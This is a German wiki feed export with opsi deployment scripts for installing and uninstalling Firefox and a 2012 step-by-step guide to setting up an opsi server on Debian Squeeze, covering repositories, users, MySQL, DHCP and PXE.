   comment &amp;quot;Setup program gives a exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
   if ($ExitCode$ = &amp;quot;1605&amp;quot;)&lt;br /&gt;
      comment &amp;quot;ERROR_UNKNOWN_PRODUCT   1605   This action is only valid for products that are currently installed.&amp;quot;&lt;br /&gt;
      comment &amp;quot;Uninstall of a not installed product failed - no problem&amp;quot;&lt;br /&gt;
   else&lt;br /&gt;
      if ($ExitCode$ = &amp;quot;1641&amp;quot;)&lt;br /&gt;
         comment &amp;quot;looks good: setup program gives exitcode 1641&amp;quot;&lt;br /&gt;
         comment &amp;quot;ERROR_SUCCESS_REBOOT_INITIATED   1641   The installer has initiated a restart. This message is indicative of a success.&amp;quot;&lt;br /&gt;
      else&lt;br /&gt;
         if ($ExitCode$ = &amp;quot;3010&amp;quot;)&lt;br /&gt;
            comment &amp;quot;looks good: setup program gives exitcode 3010&amp;quot;&lt;br /&gt;
            comment &amp;quot;ERROR_SUCCESS_REBOOT_REQUIRED   3010   A restart is required to complete the install. This message is indicative of a success.&amp;quot;&lt;br /&gt;
         else&lt;br /&gt;
            logError &amp;quot;Fatal: Setup program gives an unknown exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
            isFatalError&lt;br /&gt;
         endif&lt;br /&gt;
      endif&lt;br /&gt;
   endif&lt;br /&gt;
 endif&lt;br /&gt;
&lt;br /&gt;
Die Datei uninstall.ins sieht wie folgt aus:&lt;br /&gt;
 [Initial]&lt;br /&gt;
 ; Script angepasst von Oliver Schuetz&lt;br /&gt;
 Message=Deinstalliere Firefox ...&lt;br /&gt;
 LogLevel=2&lt;br /&gt;
 ExitOnError=false&lt;br /&gt;
 ScriptErrorMessages=on&lt;br /&gt;
 TraceMode=off&lt;br /&gt;
 &lt;br /&gt;
 [Actions]&lt;br /&gt;
 requiredWinstVersion &amp;gt;= &amp;quot;4.10.8.6&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 DefVar $UninstallProgram32$&lt;br /&gt;
 DefVar $MsiId64$&lt;br /&gt;
 DefVar $UninstallProgram64$&lt;br /&gt;
 DefVar $LogDir$&lt;br /&gt;
 DefVar $ExitCode$&lt;br /&gt;
 DefVar $ProductId$&lt;br /&gt;
 DefVar $MozInstallDir$&lt;br /&gt;
 DefVar $MozInstallDir64$&lt;br /&gt;
 DefVar $LicenseRequired$&lt;br /&gt;
 DefVar $LicensePool$&lt;br /&gt;
 DefVar $INST_SystemType$&lt;br /&gt;
 DefVar $INST_architecture$&lt;br /&gt;
 DefVar $UninstallCommand$&lt;br /&gt;
  &lt;br /&gt;
 Set $INST_SystemType$ = GetSystemType&lt;br /&gt;
 set $INST_architecture$ = GetProductProperty(&amp;quot;install_architecture&amp;quot;,&amp;quot;system specific&amp;quot;)&lt;br /&gt;
  &lt;br /&gt;
 Set $LogDir$ = &amp;quot;%SystemDrive%\tmp&amp;quot;&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
 ; - Please edit the following values                             -&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
 Set $ProductId$       = &amp;quot;firefox&amp;quot;&lt;br /&gt;
 Set $MozInstallDir$    = &amp;quot;%ProgramFilesDir%\Mozilla Firefox&amp;quot;&lt;br /&gt;
 Set $LicenseRequired$ = &amp;quot;false&amp;quot;&lt;br /&gt;
 Set $LicensePool$     = &amp;quot;p_&amp;quot; + $ProductId$&lt;br /&gt;
 ; ----------------------------------------------------------------&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
 comment &amp;quot;Zeige Produkt Bild&amp;quot;&lt;br /&gt;
 ShowBitmap &amp;quot;%ScriptPath%\&amp;quot; + &amp;quot;icon.bmp&amp;quot; $ProductId$&lt;br /&gt;
  &lt;br /&gt;
 Message &amp;quot;Deinstalliere &amp;quot; + $ProductId$ + &amp;quot; ...&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 if FileExists(&amp;quot;%ScriptPath%\delsub.ins&amp;quot;)&lt;br /&gt;
         comment &amp;quot;Start uninstall sub section&amp;quot;&lt;br /&gt;
         Sub &amp;quot;%ScriptPath%\delsub.ins&amp;quot;&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 if $LicenseRequired$ = &amp;quot;true&amp;quot;&lt;br /&gt;
         comment &amp;quot;Licensing required, free license used&amp;quot;&lt;br /&gt;
         Sub_free_license&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 [Sub_free_license]&lt;br /&gt;
 comment &amp;quot;License management is enabled and will be used&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 comment &amp;quot;Trying to free license used for the product&amp;quot;&lt;br /&gt;
 DefVar $result$&lt;br /&gt;
 Set $result$ = FreeLicense($LicensePool$)&lt;br /&gt;
 ; If there is an assignment of a license pool to the product, it is possible to use&lt;br /&gt;
 ; Set $result$ = FreeLicense(&amp;quot;&amp;quot;, $ProductId$)&lt;br /&gt;
 ;&lt;br /&gt;
 ; If there is an assignment of a license pool to a windows software id, it is possible to use&lt;br /&gt;
 ; DefVar $WindowsSoftwareId$&lt;br /&gt;
 ; $WindowsSoftwareId$ = &amp;quot;...&amp;quot;&lt;br /&gt;
 ; set $result$ = FreeLicense(&amp;quot;&amp;quot;, &amp;quot;&amp;quot;, $WindowsSoftwareId$)&lt;br /&gt;
&lt;br /&gt;
Die Datei delsub.ins sieht wie folgt aus:&lt;br /&gt;
 ;************************************************************&lt;br /&gt;
 ;&lt;br /&gt;
 ;delsub.ins&lt;br /&gt;
 ;&lt;br /&gt;
 ;************************************************************&lt;br /&gt;
  &lt;br /&gt;
 ; Message at install time:&lt;br /&gt;
 Message &amp;quot;Deinstalliere &amp;quot;+$ProductId$+&amp;quot; ...&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 ; kill a running firefox&lt;br /&gt;
 killtask &amp;quot;firefox.exe&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 ; if firefox uninstall program exists then start it&lt;br /&gt;
  &lt;br /&gt;
 if FileExists(&amp;quot;&amp;quot;+$MozInstallDir$+&amp;quot;\uninstall\helper.exe&amp;quot;)&lt;br /&gt;
     set $UninstallCommand$ = &amp;quot;&amp;quot;+$MozInstallDir$+&amp;quot;\uninstall\helper.exe&amp;quot;&lt;br /&gt;
     set $UninstallCommand$ = &#039;&amp;quot;&#039;+$UninstallCommand$+&#039;&amp;quot; /S&#039;&lt;br /&gt;
     WinBatch_start_FirefoxUninstall /WaitSeconds 20&lt;br /&gt;
     sub_check_exitcode&lt;br /&gt;
 endif&lt;br /&gt;
  &lt;br /&gt;
 ; delete registry entry to the current installed version&lt;br /&gt;
 Registry_delete_current_version&lt;br /&gt;
 ; delete files of current version&lt;br /&gt;
 if not ($MozInstallDir$ = &amp;quot;&amp;quot;)&lt;br /&gt;
         Files_copy_deinstall&lt;br /&gt;
 endif&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 [WinBatch_start_FirefoxUninstall]&lt;br /&gt;
 $UninstallCommand$&lt;br /&gt;
 ;%SCRIPTPATH%\sleep 5&lt;br /&gt;
  &lt;br /&gt;
 [Files_copy_deinstall]&lt;br /&gt;
 delete -sf &amp;quot;$MozInstallDir$\&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [Registry_delete_current_version]&lt;br /&gt;
 OpenKey [HKEY_LOCAL_MACHINE\Software\Mozilla\Mozilla Firefox]&lt;br /&gt;
 set &amp;quot;CurrentVersion&amp;quot; = &amp;quot;&amp;quot;&lt;br /&gt;
  &lt;br /&gt;
 [sub_check_exitcode]&lt;br /&gt;
 comment &amp;quot;test for installation success via exit code&amp;quot;&lt;br /&gt;
 set $ExitCode$ = getLastExitCode&lt;br /&gt;
 ; informations to exit codes see&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa372835(VS.85).aspx&lt;br /&gt;
 ; http://msdn.microsoft.com/en-us/library/aa368542.aspx&lt;br /&gt;
 if ($ExitCode$ = &amp;quot;0&amp;quot;)&lt;br /&gt;
         comment &amp;quot;looks good: setup program gives exitcode zero&amp;quot;&lt;br /&gt;
 else&lt;br /&gt;
         comment &amp;quot;Setup program gives a exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
         if ($ExitCode$ = &amp;quot;1605&amp;quot;)&lt;br /&gt;
                 comment &amp;quot;ERROR_UNKNOWN_PRODUCT  1605    This action is only valid for products that are currently installed.&amp;quot;&lt;br /&gt;
                 comment &amp;quot;Uninstall of a not installed product failed - no problem&amp;quot;&lt;br /&gt;
         else&lt;br /&gt;
                 if ($ExitCode$ = &amp;quot;1641&amp;quot;)&lt;br /&gt;
                         comment &amp;quot;looks good: setup program gives exitcode 1641&amp;quot;&lt;br /&gt;
                         comment &amp;quot;ERROR_SUCCESS_REBOOT_INITIATED 1641    The installer has initiated a restart. This message is indicative of a success.&amp;quot;&lt;br /&gt;
                 else&lt;br /&gt;
                         if ($ExitCode$ = &amp;quot;3010&amp;quot;)&lt;br /&gt;
                                 comment &amp;quot;looks good: setup program gives exitcode 3010&amp;quot;&lt;br /&gt;
                                 comment &amp;quot;ERROR_SUCCESS_REBOOT_REQUIRED  3010    A restart is required to complete the install. This message is indicative of a success.&amp;quot;&lt;br /&gt;
                         else&lt;br /&gt;
                                 logError &amp;quot;Fatal: Setup program gives an unknown exitcode unequal zero: &amp;quot;+$ExitCode$&lt;br /&gt;
                                 isFatalError&lt;br /&gt;
                         endif&lt;br /&gt;
                 endif&lt;br /&gt;
         endif&lt;br /&gt;
 endif&lt;br /&gt;
&lt;br /&gt;
Die Datei icon.bmp enthaelt das Logo/Icon des Installers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun laden wir die zuvor erstellten Files nach /home/opsiproducts/firefox/CLIENT_DATA auf den Server.&lt;br /&gt;
Die Ordnerstruktur sollte dann wie folgt aussehen:&lt;br /&gt;
 /home/opsiproducts/firefox&lt;br /&gt;
 drwxr-s---  3 root pcpatch     4096 27. Sep 12:59 CLIENT_DATA&lt;br /&gt;
 drwxr-s---  2 root pcpatch     4096 27. Sep 12:58 OPSI&lt;br /&gt;
 drwxr-s---  2 root pcpatch     4096 27. Sep 12:58 SERVER_DATA&lt;br /&gt;
 /home/opsiproducts/firefox/CLIENT_DATA&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2584  4. Jun 20:48 delsub.ins&lt;br /&gt;
 drwxr-xr-x 2 root pcpatch  4096 27. Sep 12:59 files&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch 40074  4. Jun 20:48 icon.bmp&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  4477 27. Sep 12:56 install.ins&lt;br /&gt;
 -rwxr-xr-x 1 root pcpatch  2017  4. Jun 20:48 uninstall.ins&lt;br /&gt;
 /home/opsiproducts/firefox/CLIENT_DATA/files&lt;br /&gt;
 -rw-r--r-- 1 root root    17653976 27. Sep 10:36 Firefox Setup 16.0.1.exe&lt;br /&gt;
&lt;br /&gt;
Jetzt koennen wir das OPSI Paket erstellen lassen:&lt;br /&gt;
 cd /home/opsiproducts/firefox&lt;br /&gt;
 opsi-makeproductfile&lt;br /&gt;
&lt;br /&gt;
Als letztes installieren wir das erzeugte Paket:&lt;br /&gt;
 opsi-package-manager -i /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
&lt;br /&gt;
Falls man schon eine fruehere Version auf den Clients installiert hatte, kann man diese nun automatisch beim Installieren des neuen Paketes auf setup oder update setzen:&lt;br /&gt;
 opsi-package-manager -iS /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
 opsi-package-manager -iU /home/opsiproducts/firefox/firefox_16.0.1-1.opsi&lt;br /&gt;
&lt;br /&gt;
Jetzt einmal die Management-Oberflaeche (opsi-configed) neu laden und schon sollte unter Produktkonfiguration das Firefox Paket auftauchen.&lt;br /&gt;
Nun den Client/die Clients auswaehlen und Firefox auf setup stellen, dann einmal auf den roten Haken (Speichern der Konfiguration) klicken, schon sollte beim naechsten booten Firefox installiert werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
KioskMode aktivieren und konfigurieren:&lt;br /&gt;
In der Management-Oberflaeche (opsi-configed) wechseln wir in die Server-Konfiguration. Hier stellen wir software-on-demand.active auf true, software-on-demand.product-group-ids lassen wir auf software-on-demand stehen und software-on-demand.show-details stellen wir auf true.&lt;br /&gt;
Jetzt wechseln wir in die Client-Konfiguration und dort nach Produktkonfiguration. Hier klicken wir auf Einblenden und geben der neuen Gruppe einen Namen und zwar software-on-demand, so wie es auch in software-on-demand.product-group-ids steht und als Beschreibung z.B. Software auf Anfrage. Jetzt waehlen wir mit Steuerungstaste (strg) die Pakete aus die ins SofwareOnDemand einfliessen sollen aus und klicken danach auf speichern.&lt;br /&gt;
Jetzt muessen wir auf den vorhandenen Clients nur die neue Version von opsi-client-agent installieren (auf neuen Clients geschieht dies automatisch) und schon erscheint im Client unter Start&amp;gt;Programme&amp;gt;opsi.org der Eintrag software-on-demand, womit sich Programme einfach installieren, deinstallieren und neu installieren lassen.&lt;/div&gt;</summary>
		<author><name>SOliver</name></author>
	</entry>
	<entry>
		<id>https://wiki.oppserver.net/index.php?title=OPSI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=93</id>
		<title>OPSI INSTALL FAQ AUF DEBIAN SQUEEZE</title>
		<link rel="alternate" type="text/html" href="https://wiki.oppserver.net/index.php?title=OPSI_INSTALL_FAQ_AUF_DEBIAN_SQUEEZE&amp;diff=93"/>
		<updated>2013-04-29T19:50:52Z</updated>

		<summary type="html">&lt;p&gt;SOliver: Die Seite wurde neu angelegt: „OPSI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 17.10.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]  Hier unsere…“&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OPSI INSTALL FAQ AUF DEBIAN SQUEEZE (Stand 17.10.2012) [ © Oliver Schuetz aka OppTupacShakur | http://OPPServer.net | http://unix.oppserver.net ]&lt;br /&gt;
&lt;br /&gt;
Hier unsere Server/Client Beispiele dieser Anleitung:&lt;br /&gt;
 OPSI Server, Debian Squeeze 6.0x, IP 192.168.0.1, Hostname opsi.oppserver.net opsi&lt;br /&gt;
 Client Test (VirtualBox), MAC Adresse 08:00:27:48:d9:74, IP 192.168.0.200, Hostname opsi-test, Beschreibung opsi virtualbox test&lt;br /&gt;
 Client 1, MAC Adresse 00:50:fc:6b:9a:e3, IP 192.168.0.2, Hostname rechner001, Beschreibung Windows XP Pro x86 001&lt;br /&gt;
 Client 2, MAC Adresse 00:17:31:65:6c:2d, IP 192.168.0.3, Hostname rechner002, Beschreibung Windows 7 Pro x86 001&lt;br /&gt;
 Client 3, MAC Adresse 00:18:f3:b0:04:9f, IP 192.168.0.4, Hostname rechner003, Beschreibung Windows 7 Pro x64 001&lt;br /&gt;
 Router, IP 192.168.0.253, Hostname router&lt;br /&gt;
 (Bei den Clients keine Hostnames laenger als 15 Zeichen nutzen, da dies zu einem Fehler bei der Installation fuehrt)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Als erstes als User root einloggen:&lt;br /&gt;
 sudo -s oder nur su&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pakete die nach der Grundinstallation mit Desktopumgebung (de)installiert werden sollten/muessen:&lt;br /&gt;
 aptitude purge network-manager network-manager-gnome&lt;br /&gt;
 aptitude install sudo gcc g++ make zip bzip2 unzip psmisc libc6 libc6-dev unrar linux-headers-`uname -r` subversion subversion-tools cvs mercurial ssh openssl wget lsof host python-mechanize p7zip-full cabextract openbsd-inetd samba samba-common smbclient smbfs samba-doc mysql-server&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pruefen Sie den Eintrag fuer den opsi-server in der Datei /etc/hosts oder aber die Ausgabe von&lt;br /&gt;
 getent hosts $(hostname -f)&lt;br /&gt;
Das Ergebnis sollte beispielsweise so aussehen:&lt;br /&gt;
 192.168.0.1 opsi.oppserver.net opsi&lt;br /&gt;
Sieht das Ergebnis nicht so aus (enthaelt z.B. 127.0.0.1 oder localhost) dann muessen Sie Ihre /etc/hosts oder Namensaufloesung zunaechst korrigieren.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 echo &amp;quot;deb http://download.opensuse.org/repositories/home:/uibmz:/opsi:/opsi40/Debian_6.0 ./&amp;quot; &amp;gt; /etc/apt/sources.list.d/opsi.sources.list&lt;br /&gt;
&lt;br /&gt;
 wget http://download.opensuse.org/repositories/home:/uibmz:/opsi:/opsi40/Debian_6.0/Release.key -O - | apt-key add -&lt;br /&gt;
&lt;br /&gt;
 aptitude update&lt;br /&gt;
 aptitude safe-upgrade&lt;br /&gt;
 aptitude remove tftpd&lt;br /&gt;
 update-inetd --remove tftpd&lt;br /&gt;
 aptitude install opsi-atftpd opsi-depotserver opsi-configed&lt;br /&gt;
&lt;br /&gt;
Da die OPSI Services nicht automatisch mitstarten, obwohl sie in den jeweiligen runleveln sind, habe ich folgendes in der /etc/rc.local vor dem exit 0 hinzugefuegt:&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der Installation des Tftpd werden Sie evtl. nach dem Tftp-Basisverzeichnis gefragt. Beantworten Sie diese Frage mit /tftpboot. Die Fragen nach Multicast Support koennen Sie mit Ja beantworten.&lt;br /&gt;
Bei der Installation des Paketes opsiconfd werden Sie nach Angaben zur Erstellung eines SSL-Zertifikates gefragt.&lt;br /&gt;
&lt;br /&gt;
Bei der Installation des opsi-servers werden Sie gefragt, ob die dhcpd.conf und die smb.conf gepatcht werden darf.&lt;br /&gt;
Beantworten Sie die Fragen mit Ja.&lt;br /&gt;
&lt;br /&gt;
Nun legen wir ein neues Passwort fuer den User pcpatch fest:&lt;br /&gt;
 passwd pcpatch&lt;br /&gt;
 smbpasswd -a pcpatch&lt;br /&gt;
 opsi-admin -d task setPcpatchPassword&lt;br /&gt;
&lt;br /&gt;
Falls noch kein USER angelegt wurde, wird er jetzt erstellt, sonst weiter bei Gruppenmitgliedschaft eingerichten:&lt;br /&gt;
 useradd -m -s /bin/bash USER&lt;br /&gt;
Wir vergeben nun Passwoerter fuer Unix:&lt;br /&gt;
 passwd USER&lt;br /&gt;
&lt;br /&gt;
Gruppenmitgliedschaft eingerichten:&lt;br /&gt;
 adduser root opsiadmin&lt;br /&gt;
 adduser USER opsiadmin&lt;br /&gt;
&lt;br /&gt;
Wir vergeben nun Passwoerter fuer Samba:&lt;br /&gt;
 smbpasswd -a USER&lt;br /&gt;
&lt;br /&gt;
Alle User, die Produkte packen (opsi-makeproductfile), installieren (opsi-package-manager) oder Konfigurationsdateien manuell bearbeiten wollen, muessen zusaetzlich in der Gruppe pcpatch sein:&lt;br /&gt;
 adduser USER pcpatch&lt;br /&gt;
root darf dies alles ohnehin und muss daher nicht explizit in die Gruppe aufgenommen werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Holen Sie sich die aktuellen notwendigen opsi-Pakete im opsi-Paketformat.&lt;br /&gt;
Die Pakete finden Sie unter http://download.uib.de/opsi4.0/products/&lt;br /&gt;
Nach dem Download muessen Sie die Pakete auf dem Server mit dem Befehl opsi-package-manager -i &amp;lt;paketname&amp;gt;.opsi installiert werden.&lt;br /&gt;
Sie koennen das interaktiv fuer jedes einzelne Paket tun. Wir empfehlen Ihnen dies automatisiert zu tun. Hierzu gibt es das Werkzeug opsi-product-updater, welches wie in /etc/opsi/opsi-product-updater.conf konfiguriert, automatisch die aktuellen Pakete vom opsi Repository holt und auf dem Server installiert.&lt;br /&gt;
&lt;br /&gt;
Z.B.:&lt;br /&gt;
 [wol]&lt;br /&gt;
 active = true&lt;br /&gt;
 [repository_uib]&lt;br /&gt;
 dirs = opsi4.0/products/localboot, opsi4.0/products/netboot, opsi4.0/testing&lt;br /&gt;
 autoInstall = true&lt;br /&gt;
 autoSetup = true&lt;br /&gt;
&lt;br /&gt;
Danach einfach folgenden Befehl ausfuehren und die Pakete werden installiert:&lt;br /&gt;
 opsi-product-updater -i -vv&lt;br /&gt;
&lt;br /&gt;
Sollte der opsi-product-updater Befehl scheitern, so muss evtl. ein Proxy in der Konfigurationsdatei eingetragen&lt;br /&gt;
werden unter&lt;br /&gt;
 [repository_uib]&lt;br /&gt;
 proxy =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wenn Sie das opsi Managementinterface opsi-configed direkt auf dem Server ausfuehren moechten, so benoetigen Sie eine Java Laufzeitumgebung. Die Laufzeitumgebung von Sun/Oracle ist die am besten getestete. Allerdings ist diese unter Linux nur noch eingeschraenkt zu beziehen. Als Alternative bietet sich das OpenJDK an. Meinen Erfahrungen nach funktioniert hier zumindest der Start ueber Webstart und als Applikation.&lt;br /&gt;
&lt;br /&gt;
 aptitude install sun-java6-jdk sun-java6-plugin python-simplejson&lt;br /&gt;
&lt;br /&gt;
Kontrollieren Sie, ob Java in der benoetigten Version installiert ist, indem Sie in einem Terminal&lt;br /&gt;
 java -version&lt;br /&gt;
aufrufen.&lt;br /&gt;
Sollte hier nicht mindestens Java Version 1.6.0 angezeigt werden, so muessen Sie dies in einem Terminalfenster mit&lt;br /&gt;
 update-alternatives anpassen:&lt;br /&gt;
 update-alternatives --config java&lt;br /&gt;
&lt;br /&gt;
   Auswahl      Pfad                                      Prioritaet Status&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
   0            /usr/lib/jvm/java-6-openjdk/jre/bin/java   1061      Auto-Modus&lt;br /&gt;
   1            /usr/bin/gij-4.4                           1044      manueller Modus&lt;br /&gt;
   2            /usr/lib/jvm/java-6-openjdk/jre/bin/java   1061      manueller Modus&lt;br /&gt;
 * 3            /usr/lib/jvm/java-6-sun/jre/bin/java       63        manueller Modus&lt;br /&gt;
&lt;br /&gt;
 Druecken Sie die Eingabetaste, um die aktuelle Wahl[*] beizubehalten,&lt;br /&gt;
 oder geben Sie die Auswahlnummer ein: 3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Um (wie empfohlen) das mysql-Backend verwenden zu koennen (z.B. fuer die Inventarisierung), so muss dieses nun mit dem Befehl&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --configure-mysql&lt;br /&gt;
&lt;br /&gt;
initialisiert werden.&lt;br /&gt;
In der Datei /etc/opsi/backendManager/dispatch.conf muss das Backend noch hinzugefuegt werden:&lt;br /&gt;
 backend_.*         : file, opsipxeconfd&lt;br /&gt;
 host_.*            : file, opsipxeconfd&lt;br /&gt;
 productOnClient_.* : file, opsipxeconfd&lt;br /&gt;
 configState_.*     : file, opsipxeconfd&lt;br /&gt;
 .*                 : file&lt;br /&gt;
&lt;br /&gt;
aendern in&lt;br /&gt;
&lt;br /&gt;
 backend_.*         : file, mysql, opsipxeconfd&lt;br /&gt;
 host_.*            : file, opsipxeconfd&lt;br /&gt;
 productOnClient_.* : file, opsipxeconfd&lt;br /&gt;
 configState_.*     : file, opsipxeconfd&lt;br /&gt;
 license.*          : mysql&lt;br /&gt;
 softwareLicense.*  : mysql&lt;br /&gt;
 audit.*            : mysql&lt;br /&gt;
 .*                 : file&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --init-current-config&lt;br /&gt;
 opsi-setup --set-rights&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
Ignorieren Sie Warnungen wegen einer nicht gefundenen /etc/opsi/modules.&lt;br /&gt;
Wer welche Methoden verwenden darf, ist in der Datei /etc/opsi/backendManager/acl.conf festgelegt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Einspielen / ueberpruefen der Freischaltdatei&lt;br /&gt;
Auch wenn opsi Opensource ist, so gibt es einige Zusatz-Komponenten, die im Rahmen eines Kofinanzierungsprojektes erstellt wurden und evtl. noch nicht Opensource bzw. noch nicht kostenlos sind. Sobald die Entwicklungskosten eingenommen sind, werden auch diese Module Opensource bzw. kostenlos sein. Um bis dahin die Verwendung dieser Module den zahlenden Kunden und zu Evaluierungszwecken zu gestatten, gibt es die Freischaltdatei /etc/opsi/modules, welche durch eine elektronische Signatur vor unautorisierter Veraenderung geschuetzt ist. Ist diese Datei nicht vorhanden, so funktionieren nur die freien Module von opsi.&lt;br /&gt;
Um zu Evaluierungszwecken eine zeitlich befristet gueltige Freischaltdatei zu erhalten, wenden Sie sich an info@uib.de.&lt;br /&gt;
Im Rahmen einer Beteiligung an den entsprechenden Kofinanzierungsprojekten erhalten Sie eine unbefristet gueltige Freischaltdatei. Diese koennen Sie mit root-Rechten nach /etc/opsi kopieren.&lt;br /&gt;
Fuehren Sie danach den folgenden Befehl aus:&lt;br /&gt;
 opsi-setup --set-rights /etc/opsi&lt;br /&gt;
Kontrollieren Sie die Freischaltung mit einer der folgenden Methoden:&lt;br /&gt;
Im opsi-configed koennen Sie sich ueber den Menuepunkt Hilfe/opsi-Module den Status Ihrer Freischaltung anzeigen lassen.&lt;br /&gt;
Mit der Methode backend_info koennen Sie mit opsi-admin ueberpruefen, welche Module freigeschaltet sind. (Hinweis: Geben Sie die weder die Datei noch die Ausgabe dieses Befehls oeffentlich weiter, zumindest nicht ohne die Signatur zu loeschen).&lt;br /&gt;
 opsi-admin -d method backend_info&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Und nun wird DHCPd eingerichtet, als erstes sichern wir uns die default Konfigurations Datei:&lt;br /&gt;
 mv /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf.orig&lt;br /&gt;
Folgendes in /etc/dhcp/dhcpd.conf ersetzen/hinzufuegen:&lt;br /&gt;
&lt;br /&gt;
 ddns-update-style none;&lt;br /&gt;
 &lt;br /&gt;
 option domain-name &amp;quot;oppserver.net&amp;quot;;&lt;br /&gt;
 option domain-name-servers 192.168.0.253, 8.8.8.8;&lt;br /&gt;
 &lt;br /&gt;
 default-lease-time 600;&lt;br /&gt;
 max-lease-time 7200;&lt;br /&gt;
 &lt;br /&gt;
 log-facility local7;&lt;br /&gt;
 &lt;br /&gt;
 use-host-decl-names on;&lt;br /&gt;
 subnet 192.168.0.0 netmask 255.255.255.0 {&lt;br /&gt;
         option routers 192.168.0.253;&lt;br /&gt;
         option broadcast-address 192.168.0.255;&lt;br /&gt;
         group {&lt;br /&gt;
                 next-server 192.168.0.1;&lt;br /&gt;
                 filename &amp;quot;linux/pxelinux.0&amp;quot;;&lt;br /&gt;
         }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Jetzt die richtigen Rechte setzen, da OPSI sonst nicht in diese Datei schreiben darf:&lt;br /&gt;
 chown opsiconfd:opsiadmin /etc/dhcp/dhcpd.conf&lt;br /&gt;
 chmod 664 /etc/dhcp/dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
Danach einmal den DHCPd restarten:&lt;br /&gt;
 /etc/init.d/isc-dhcp-server restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nun muessen wir den DHCPd in die /etc/opsi/backendManager/dispatch.conf einfuegen/ersetzen:&lt;br /&gt;
 backend_.*         : file, mysql, opsipxeconfd, dhcpd&lt;br /&gt;
 host_.*            : file, opsipxeconfd, dhcpd&lt;br /&gt;
&lt;br /&gt;
Nach Anpassung der Backendkonfiguration muss die Konfiguration initialisiert und der opsiconfd neu gestartet werden:&lt;br /&gt;
&lt;br /&gt;
 opsi-setup --init-current-config&lt;br /&gt;
 opsi-setup --set-rights&lt;br /&gt;
 /etc/init.d/opsiconfd restart&lt;br /&gt;
 /etc/init.d/opsipxeconfd restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start der Management-Oberflaeche (opsi-configed)&lt;br /&gt;
Opsi bietet mit dem opsi-configed ein komfortables Management Interface.&lt;br /&gt;
Sie koennen es auf mehrere Weisen starten:&lt;br /&gt;
Wenn Sie in einem Browser (irgendwo im Netz) die Adresse https://192.168.0.1:4447/configed eingeben, erscheint eine Webseite mit als Applet eingebettetem opsi-configed. Damit es funktioniert, muessen Sie auf dem aufrufenden Rechner eine (Sun) Java-Version &amp;gt;= 1.6 installiert haben.&lt;br /&gt;
Alternativ koennen Sie auf der graphischen Oberflaeche Ihres opsi-servers mit Klick auf die rechte Taste das Kontextmenue oeffnen und „opsi config editor“ auswaehlen.&lt;br /&gt;
Der Konfigurationseditor ist auch Bestandteil der opsi-adminutils, die im Rahmen der opsi-Anwendung lokal auf Clients installiert werden koennen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation eines neuen Windows Rechners ueber opsi (OS-Installation) (Windows 7 x86 als Beispiel)&lt;br /&gt;
Anlegen eines neuen opsi-Clients ueber die Management Oberflaeche:&lt;br /&gt;
Als Client-Rechner eignen sich reale oder virtuelle Rechner mit mindestens 512 MB RAM, die ueber eine Netzwerkkarte mit Netzwerkboot-Unterstuetzung verfuegen: D.h., sie unterstuetzen das PXE-Protokoll zum Laden von Boot-Systemen via Netzwerk. Der Netzwerkboot ist ggf. im Bios-Menue zu aktivieren bzw. an die erste Stelle der Bootoptionen zu ruecken.&lt;br /&gt;
Fuer einen ersten Tests empfehlen wir eine VMware-Appliance, die einen „nicht installierten Rechner“ abbildet und im VMware-Player laufen kann. Diese koennen Sie z.B. bei download.uib.de herunterladen (http://download.uib.de/vmware_pxeclient.zip).&lt;br /&gt;
